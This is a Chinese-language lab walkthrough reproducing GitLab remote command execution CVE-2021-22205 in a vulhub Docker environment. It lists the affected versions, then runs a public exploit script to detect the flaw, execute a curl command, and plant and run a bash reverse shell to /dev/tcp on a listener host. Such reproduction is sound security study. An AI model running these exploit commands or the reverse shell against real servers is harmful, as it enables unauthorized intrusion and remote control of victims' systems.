CVE-2021-22205 GitLab 远程命令执行漏洞复现

一、漏洞介绍

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205。

二、影响范围

以下版本范围内的 GitLab(CE/EE)受到漏洞影响:

11.9 <= GitLab(CE/EE)< 13.8.8
13.9 <= GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

三、环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d

fd47dce98b2b68ccc32dddda4387b3a4.png

四、漏洞复现

1 下载工具

git clone https://g.huaxi.us/Al1ex/CVE-2021-22205.git

2 检测漏洞是否存在

python3 CVE-2021-22205.py -v true -t http://192.168.21.6:8080/

862f18992749cffe92b0a551c0b5317d.png

3 命令执行

python3 -m http. server 8088
python3 CVE-2021-22205.py -a true -t http://192.168.21.6:8080/ -c "curl http://192.168.21.6:8088/1.txt"

8df5dc2a9e92fe1bebf9cfb25ed5b901.png
31f654ef0bc361faf47635676ee57c1d.png

4 反弹shell

#在192.168.25.218上监听端口

nc -lvnp 6666

# 写入反弹shell脚本

python3 CVE-2021-22205.py -a true -t http://192.168.21.6:8080/ -c "echo 'bash -i >& /dev/tcp/192.168.25.218/6666 0>&1' > /tmp/1.sh"

# 给执行权限

python3 CVE-2021-22205.py -a true -t http://192.168.21.6:8080/ -c "chmod +x /tmp/1.sh"

# 运行shell

python3 CVE-2021-22205.py -a true -t http://192.168.21.6:8080/ -c "/bin/bash /tmp/1.sh"

a3b6f6371743351a414c9cb0125def58.png